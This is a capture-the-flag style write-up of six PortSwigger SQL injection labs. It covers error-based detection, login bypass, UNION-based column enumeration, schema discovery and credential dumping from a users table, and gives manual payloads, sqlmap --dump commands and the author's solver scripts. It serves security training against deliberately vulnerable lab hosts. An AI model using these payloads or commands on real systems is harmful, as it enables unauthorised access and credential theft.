Web Security Academy | SQL Injection
Writeup of PortSwigger's SQL Injection Labs
Lab-1
About
This
To solve the lab, we need to perform a SQL injection attack that causes the application to display details of all products in any category, both released and unreleased.
Detection
- Submit a single quotation mark
'
in/filter?category=Gifts
to break out the original SQL query quotation marks and cause an error - The resulting query sent by the App to the back-end database:
1
SELECT * FROM products WHERE category = 'Gifts'' AND released = 1
- The App returns a
500 Internal Server Error
response, which means that an error has occured in the back-end while processing the query. - The
category
parameter is vulnerable to SQL injection.
Exploitation
Manual
- Intercept the request with Burp Suite proxy
- Send the request to repeater
- Inject the
category
parameter with the following payload:' OR 1=1 --
- The resulting SQL query sent by the App to the backend database:
1
SELECT * FROM products WHERE category = '' OR 1=1 --' AND released = 1
which is
1
SELECT * FROM products WHERE category = '' OR 1=1
📍 Note: The following payload
' OR 'a'='a
is also valid and achieves the same result as the 1=1 attack to return all products, regardless of whether they have been released.1
SELECT * FROM products WHERE category = '' OR 'a'='a' AND released = 1
Automated
You can find the source code
here Requirements :1
$ pip3 install -r requirements.txt
- Help Menu:
1
2
3
4
5
6
7
8
9
$ python3 Lab-1.py --help
usage: Lab-1.py [-h] -u URL [-n]
Usage Example: python3 Lab-1.py --url https://0a2100.web-security-academy.net/ --no-proxy
options:
-h, --help show this help message and exit
-u URL, --url URL Enter the Lab URL
-n, --no-proxy Do not use proxy
Lab-2
About
This
To solve the lab, we need to perform a SQL injection attack that logs in to the application as the administrator user.
Detection
- Navigate to the
/login
directory and you will be presented with the vulnerable login functionality - Since we know that this login form is vulnerable to SQLi, let’s try triggering an error by submitting a single quote
'
in theusername
field and some random password in the password field. - The App should return a
500 Internal Server Error
, which means that an error has occured in the back-end database while processing the query. - The
username
POST parameter is vulnerable to SQL Injection !
Exploitation
Manual
- Intercept the request with Burp Suite proxy,
- Send the request to repeater,
- Inject the username field with the following payload:
administrator'--
- The resulting query sent by the App to the back-end database should look to something like this:
1
SELECT * FROM content WHERE username='administrator'--' AND password='p@$$w0rd'
which is
1
SELECT * FROM content WHERE username='administrator'
📍 Note: You can also try the following payload
randomusername' OR 1=1--
which is also valid and bypasses the login functionality1
SELECT * FROM content WHERE username='randomusername' OR 1=1--' AND password='p@$$w0rd'
Automated
You can find the source code
here Requirements :1
$ pip3 install -r requirements.txt
- Help Menu:
1
2
3
4
5
6
7
8
9
$ python3 Lab-2.py --help
usage: Lab-2.py [-h] -u URL [-n]
Usage Example: python3 Lab-2.py --url https://0a2100.web-security-academy.net/ --no-proxy
options:
-h, --help show this help message and exit
-u URL, --url URL Enter the Lab URL
-n, --no-proxy Do not use proxy
Lab-3
About
This
The results from the query are returned in the application’s response, so you can use a UNION attack to retrieve data from other tables. The first step of such an attack is to determine the number of columns that are being returned by the query.
End Goal
- To solve the lab, we need to determine the number of columns returned by the query by performing a
SQL injection UNION attack
Detection
- Submit a single quotation mark
'
in/filter?category=Gifts
to break out the original SQL query quotation marks and cause an internal error, - The resulting query sent by the App to the back-end databases should look to something like:
SELECT * FROM products WHERE category = 'Gifts''
- The App should return a
500 Internal Server Error
, which means that an error has occured in the back-end database while processing the query. - The
category
parameter is vulnerable to SQL injection.
Exploitation
Manual
The goal of this lab is to figure out the number of columns returned by the query by perfoming a SQL Injection UNION attack. To do so, we will incrementally inject a series of UNION SELECT
payloads specifiying different number of NULL
values until we no longer get an Internal Server Error
.
- Intercept the request with Burp Suite proxy
- Send the request to repeater
- Start by injecting the
category
parameter withGifts'+UNION+SELECT+NULL--
which will return an error - And then
'UNION+SELECT+NULL,NULL--
which will also return an error - And finally
'UNION+SELECT+NULL,NULL,NULL--
which will output the results of the original query
SELECT * FROM products WHERE category = 'Gifts'
The number of columns is then
3
Automated
You can find the source code
here Requirements :1
$ pip3 install -r requirements.txt
- Help Menu:
1
2
3
4
5
6
7
8
9
$ python3 Lab-3.py --help
usage: Lab-3.py [-h] -u URL [-n]
Usage Example: python3 Lab-3.py --url https://0a2100.web-security-academy.net/ --no-proxy
options:
-h, --help show this help message and exit
-u URL, --url URL Enter the Lab URL
-n, --no-proxy Do not use proxy
Lab-4
About
This
End Goal
- Finding a column containing text by performing a
SQL injection UNION attack
Detection
- Submit a single quotation mark
'
in/filter?category=Gifts
to break out the original SQL query quotation marks and cause an internal error, - The resulting query sent by the App to the back-end databases should look to something like:
SELECT * FROM products WHERE category = 'Gifts''
- The App should return a
500 Internal Server Error
, which means that an error has occured in the back-end database while processing the query. - The
category
parameter is vulnerable to SQL injection.
Exploitation
Manual
The goal of this lab is to figure out the number of columns returned by the query and then probing each column to test whether it can hold a specific string data, provided in the Lab.
To do so, we will incrementally submit a series of UNION SELECT
payloads that place the string value into each column in turn until we no longer get an Internal Server Error
.
📍 Determining the number of columns:
- Intercept the request with Burp Suite proxy,
- Send the request to repeater,
- Start by injecting the
category
parameter withGifts'+UNION+SELECT+NULL--
which will return an error - And then
'UNION+SELECT+NULL,NULL--
which will also return an error - And finally
'UNION+SELECT+NULL,NULL,NULL--
which will output the results of the original query
SELECT * FROM products WHERE category = 'Gifts'
The number of columns is then
3
📍 Finding columns containing text:
- Copy the string provided in the Lab:
In this case, the string data is:
VnoDqj
- Start by injecting the
category
parameterGifts'+UNION+SELECT+'VnoDqj',NULL,NULL--
which will return an error. This means that the first column is not a string - And then
Gifts'+UNION+SELECT+NULL,'VnoDqj',NULL--
which will output the results of the original query and make the database print outVnoDqj
. This means that the second column is a string. - And finally
Gifts'+UNION+SELECT+NULL,NULL,'VnoDqj'--
which will also return an error
The
second column
contains string data.
Automated
You can find the source code
here Requirements :1
$ pip3 install -r requirements.txt
- Help Menu:
1
2
3
4
5
6
7
8
9
$ python3 Lab-4.py --help
usage: Lab-4.py [-h] -u URL [-n]
Usage Example: python3 Lab-4.py --url https://0a2100.web-security-academy.net/ --no-proxy
options:
-h, --help show this help message and exit
-u URL, --url URL Enter the Lab URL
-n, --no-proxy Do not use proxy
Lab-5
About
This
The database contains a different table called users
, with columns called username
and password
.
To solve the Lab, perform a
End Goal
Log in as the administrator
user.
Detection
- Submit a single quotation mark
'
in/filter?category=Gifts
to break out the original SQL query quotation marks and cause an internal error - The resulting query sent by the App to the back-end databases should look to something like:
1
SELECT * FROM products WHERE category = 'Gifts''
- The App should return a
500 Internal Server Error
, which means that an error has occured in the back-end database while processing the query. - The
category
parameter is vulnerable to SQL injection.
Exploitation
Manual
📝: HACK STEPS:
1° Determine the number of columns that are being returned by the original query
2° Determine the columns that contains string data
3° Retrieve the database version
4° Retrieve the current database name
5° Fetch database (schema) names
6° Fetch the tables for the current database
7° Fetch the columns for a specific table in the current database
8° Dump data.
📍 Number of columns:
- Intercept the request with Burp Suite proxy,
- Send the request to repeater,
- Start by injecting the
category
parameter withGifts'+UNION+SELECT+NULL--
which will return an error - And then
Gifts'UNION+SELECT+NULL,NULL--
which will return the results of the original query (Selecting content for productGifts
)
☑️ The number of columns is
2
📍 Columns containing text:
- Inject the
category
parameter with the following payload'+UNION+SELECT+'a',NULL--
=> If anInternal Server Error
occurs, then the first column does not contain string type data. - And then, inject the vulnerable parameter with
'+UNION+SELECT+NULL,'a'--
=> If anInternal Server Error
is returned, then the second column does not contain string type data.
☑️ In this Lab, both columns contain text.
📍 Database version:
Each DBMS
(Database Management System) has its own syntax to retrieve the version, and since we don’t know which one we are dealing with, let’s try the most popular ones. Here is a great
📜 Cheat-Sheet:
- Oracle:
1
SELECT banner FROM v$version
1
SELECT version FROM v$instance
- Microsoft & MySQL:
1
SELECT @@version
- PostgreSQL
1
SELECT version()
In this Lab, the back-end DBMS is
PostgreSQL
- Let’s retrieve the database version, by sending the following payload:
'+UNION+SELECT+NULL,version()--
📍 Current database name:
- Retrieving the current database name syntax for
PostgreSQL
DBMS:1
SELECT current_database()
- Inject the vulnerable parameter with the following payload:
'+UNION+SELECT+NULL,current_database()--
☑️ The currrent database’s name is: academy_labs
📍 Database names:
- Retrieving databases names syntax for
PostgreSQL
DBMS:1
SELECT datname FROM pg_database
- Inject the vulnerable parameter with the following payload:
'+UNION+SELECT+NULL,datname+FROM+pg_database--
📍 Fetching the tables for the current database:
- Listing tables syntax for
PostgreSQL
DBMS:1
SELECT table_name FROM information_schema.tables
- Inject the vulnerable parameter with the following payload:
'+UNION+SELECT+NULL,table_name+FROM+information_schema.tables--
- This payload will return all the tables in the current database, and since we know the name of the table is
users
, let’s add a filter to our payload using theLIKE
clause: - Payload:
1
'+UNION+SELECT+NULL,table_name+FROM+information_schema.tables+WHERE+table_name+LIKE+'users'--
📍 Fetching columns for the table users in the current database:
- Listing columns syntax for
PostgreSQL
DBMS:1
SELECT column_name FROM information_schema.columns WHERE table_name='TableName'
- Inject the vulnerable parameter with the following payload:
'+UNION+SELECT+NULL,column_name+FROM+information_schema.columns+WHERE+table_name='users'--
📍 Dumping data from users table:
- We can retrieve the content of
users
table by sending the following payload:'+UNION+SELECT+username,password+FROM+users--
📍 Solving the lab:
- Now that we have dumped the credentials, we can go to
/login
and login as theAdministrator
user and solve the lab !!
- 📹 The entire process can be see in the clip below :
Automated
SQLmap
📍 Fetching databases names:
- Command:
1
root@kali# sqlmap --proxy=http://127.0.0.1:8080 -u 'https://0aa8007d033d30a9c0f2d25500e700ca.web-security-academy.net/filter?category=*' -p category --technique=U --threads=5 --level=4 --risk=3 --dbs --batch
Options:
- -proxy=http://127.0.0.1:8080 : Using BurpSuite proxy for debugging purposes
-u : Target URL
-p : Testable parameter
- -technique=U : SQL Injection technique to use. Here i’m using the UNION technique
- -threads : Maximum number of concurrent HTTP requests (default 1)
- -level : Level of test to perform (5 is MAX)
- -risk : Risk of test to perform (3 is MAX)
- -dbs : Enumerate databases (schema) names
- -batch : Never ask for user input, use the default behavior- Execution:
📝 Here the database
public
is the one we are interested in.
📍 Fetching tables for database: ‘public’
- Command:
1
root@kali# sqlmap --proxy=http://127.0.0.1:8080 -u 'https://0aa8007d033d30a9c0f2d25500e700ca.web-security-academy.net/filter?category=*' -p category --technique=U --threads=5 --level=4 --risk=3 -D public --tables --batch
Options:
- -tables : Enumerating database tables- Execution:
📍 Fetching columns for table ‘users’ in database ‘public’
- Command:
1
root@kali# sqlmap --proxy=http://127.0.0.1:8080 -u 'https://0aa8007d033d30a9c0f2d25500e700ca.web-security-academy.net/filter?category=*' -p category --technique=U --threads=5 --level=4 --risk=3 -D public -T users --columns --batch
Options:
- -columns : Enumerating database table columns- Execution:
📍 Dumping data from table ‘users’ in database ‘public’:
- Command:
1
root@kali# sqlmap --proxy=http://127.0.0.1:8080 -u 'https://0aa8007d033d30a9c0f2d25500e700ca.web-security-academy.net/filter?category=*' -p category --technique=U --threads=5 --level=4 --risk=3 -D public -T users --dump --batch
Options:
- -dump : Dump database table entries- Execution:
Python3
You can find the source code
here
1
$ pip3 install -r requirements.txt
- Help Menu:
1
2
3
4
5
6
7
8
9
$ python3 Lab-5.py --help
usage: Lab-5.py [-h] -u URL [-n]
Usage Example: python3 Lab-5.py --url https://0a2100.web-security-academy.net/ --no-proxy
options:
-h, --help show this help message and exit
-u URL, --url URL Enter the Lab URL
-n, --no-proxy Do not use proxy
Lab-6
About
This
The database contains a different table called users
, with columns called username
and password
.
To solve the Lab, perform a
End Goal
Log in as the administrator
user.
Detection
- Submit a single quotation mark
'
in/filter?category=Gifts
to break out the original SQL query quotation marks and cause an internal error - The resulting query sent by the App to the back-end databases should look to something like:
1
SELECT * FROM products WHERE category = 'Gifts''
- The App should return a
500 Internal Server Error
, which means that an error has occured in the back-end database while processing the query. - The
category
parameter is vulnerable to SQL injection.
Exploitation
Manual
📝: HACK STEPS:
1° Determine the number of columns that are being returned by the original query
2° Determine the columns that contains string data
3° Retrive data fromusers
tables
📍 Number of columns:
- Intercept the request with Burp Suite proxy,
- Send the request to repeater,
- Start by injecting the
category
parameter withGifts'+UNION+SELECT+NULL--
which will return an error - And then
Gifts'UNION+SELECT+NULL,NULL--
which will return the results of the original query (Selecting content for productGifts
)
☑️ The number of columns is
2
📍 Columns containing text:
- Inject the
category
parameter with the following payload'+UNION+SELECT+'a',NULL--
=> If anInternal Server Error
occurs, then the first column does not contain string type data. - And then, inject the vulnerable parameter with
'+UNION+SELECT+NULL,'a'--
=> If anInternal Server Error
is returned, then the second column does not contain string type data.
☑️ In this Lab, the second column contains string data.
📍 Retrieving data:
- Since we know that there is a table called
users
that has two columnsusername
andpassword
and that we only have one column that return string data which we can control to fetch entries for tableusers
, we can theCONCAT
clause. For example, we can send the following payload:
'+UNION+SELECT+NULL,CONCAT(username, ':', password)+FROM+users--
, which will return the usernames and passwords seperated with a colon:
- We can also do some cool stuff with
CONCAT
like sending the following payload:1
'+UNION+SELECT+NULL,CONCAT('The password of ', username, ' is : ', password)+FROM+users--
- We can also use the
||
to concat the results, for example:1
'+UNION+SELECT+NULL,username||':'||password+FROM+users--
📍 Solving the lab:
- Now that we have dumped the credentials, we can go to
/login
and login as theAdministrator
user and solve the lab !!
- 📹 The entire process can be see in the clip below :
Automated
SQLmap
📍 Fetching databases names:
- Command:
1
root@kali# sqlmap --proxy=http://127.0.0.1:8080 -u 'https://0aa8007d033d30a9c0f2d25500e700ca.web-security-academy.net/filter?category=*' -p category --technique=U --threads=5 --level=4 --risk=3 --dbs --batch
Options:
- -proxy=http://127.0.0.1:8080 : Using BurpSuite proxy for debugging purposes
-u : Target URL
-p : Testable parameter
- -technique=U : SQL Injection technique to use. Here i’m using the UNION technique
- -threads : Maximum number of concurrent HTTP requests (default 1)
- -level : Level of test to perform (5 is MAX)
- -risk : Risk of test to perform (3 is MAX)
- -dbs : Enumerate databases (schema) names
- -batch : Never ask for user input, use the default behavior- Execution:
📝 Here the database
public
is the one we are interested in.
📍 Dumping data from table ‘users’ in database ‘public’
- Command:
1
root@kali# sqlmap --proxy=http://127.0.0.1:8080 -u 'https://0aa8007d033d30a9c0f2d25500e700ca.web-security-academy.net/filter?category=*' -p category --technique=U --threads=5 --level=4 --risk=3 -D public -T users --dump --batch
Options:
- -dump : Dump database table entries- Execution:
Python3
You can find the source code
here
1
$ pip3 install -r requirements.txt
- Help Menu:
1
2
3
4
5
6
7
8
9
$ python3 Lab-6.py --help
usage: Lab-6.py [-h] -u URL [-n]
Usage Example: python3 Lab-6.py --url https://0a2100.web-security-academy.net/ --no-proxy
options:
-h, --help show this help message and exit
-u URL, --url URL Enter the Lab URL
-n, --no-proxy Do not use proxy